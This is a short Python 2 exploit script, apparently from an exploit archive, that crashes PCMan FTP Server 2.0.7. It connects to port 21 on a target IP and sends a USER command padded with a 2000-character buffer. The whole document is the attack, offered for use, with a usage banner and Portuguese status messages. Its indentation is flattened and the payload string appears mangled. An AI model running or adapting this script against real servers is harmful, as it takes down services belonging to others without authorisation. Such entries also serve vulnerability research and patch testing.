PCMan FTP Server 2.0.7 Denial Of Service

`#!/usr/bin/python  
#  
# e-mail: [email protected]  
#  
# Date: 06/12/2021 - 12 jun  
#  
# Version Vulnerable: PCMan FTP Server 2.0.7  
#  
# OS Tested: Windows XP PACK 3 Brazilian  
  
import socket  
import sys  
  
if len(sys.argv) != 2:  
print "#################################################################"  
print "# #"  
print "# PCMan FTP Server 2.0.7 - Command 'USER' Denied of Service #"  
print "# #"  
print "# Author: Fernando Mengali #"  
print "# #"  
print "# Usage: exploit.py <IP> #"   
print "# #"  
print "#################################################################"  
sys.exit(1)  
  
target = sys.argv[1]  
  
payload = "x41"*2000  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
connect = s.connect((target, 21))  
print "[+] Conectado com sucesso"  
except:  
print "[-] Falha ao conectar para o servidor..."  
sys.exit(0)  
s.recv(1024)  
print "[+] Autenticando..."   
s.send('User '+payload+'\r\n')  
print "[+] Enviando pacote crafted..."  
s.close()  
`